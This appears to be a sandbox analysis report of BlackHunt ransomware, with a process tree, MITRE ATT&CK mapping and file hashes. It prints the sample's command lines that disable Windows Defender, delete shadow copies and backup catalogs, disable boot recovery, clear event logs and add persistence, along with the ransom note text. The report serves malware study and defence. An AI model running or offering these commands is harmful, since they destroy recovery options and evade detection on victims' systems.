- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1900 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2740
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2724
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2804
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2656
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2856
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2452
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2616
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2884
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2612
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2704
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2564
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2588
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2608
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1252
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2760
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1824
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2100
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1996
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2416
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1528
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1124
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2876
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2908
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2896
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2936
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1816
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:272
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1776
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1432
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1792
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1564
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1784
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1576
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2172
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2392
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1456
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1368
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1728
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1284
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe" /F2⤵PID:1160
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe" /F3⤵
- Creates scheduled task(s)
PID:648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2044
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1736
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2232
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:604
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1416
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1800
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
- Suspicious use of WriteProcessMemory
PID:2856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2560
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2372
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:856
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1612
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1540
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:4008
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:3692
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:4156
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:4012
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:2856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:4052
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3856
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4660
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:4264
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4400
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:4220
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4128
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:224
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4308
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:4756
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4364
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:4868
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4028
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:4704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:4380
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:4812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:4372
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:4472
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:4332
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:4468
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:4512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:4356
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:4876
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:4160
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:4748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:4360
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:4696
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:4620
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:4328
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:4368
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2632
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe"2⤵
- Deletes itself
PID:4284 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:4752
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2552
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1756
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1220
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2960
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD50b921a3449f10400b4c5c8526c99c1d5
SHA15326648521767d1b425aef6b42832d76ab01003b
SHA25604f049a26b4e7aa0decb8a44581d0ea864f5e9cbe63a24401741124afd167be0
SHA5123f82fcf7674fc51cc3b617773c8af57171941b75cdf031f4ab5e497a5f4a3c5ae4d599ee2abe2e499e6a5765cda57ea1ef67e3d959560aa337de3a15258d0147
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Filesize
12KB
MD5eb8c2377a2911367b733a0dece6b60f8
SHA1cc7a098197d9575997ca58b374f402321de16dae
SHA256bc06e0cf4ea4deddd0a706c46898c2fa5fbbe4e61e4838e814901265e2fbaa25
SHA512b27095b1668bb7a5888327880bd2569d8ac74eacd888bf63902b400296ee118bb6855efda696128d1a82e2c8d511aae9ba1c16390eba4b18b3739c4b7ba75c35
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Filesize
684B
MD51a43b617724a959e2b3bd97aca7646fc
SHA140e581276993236c284cb4f0f0dc016d888e8b3b
SHA256408cd8a30b412a1c7b70af3bb37c95cf608885086002ba4ff2c8568456abeb51
SHA512d0e20c9cc458f5d83f831b0b644d1e3a66155f839eb5080de8dca3a139816f2d539fd2ab052b2dbb8058080a4b70dd7f9616741e46c0d960ed04f4d5a63fc55c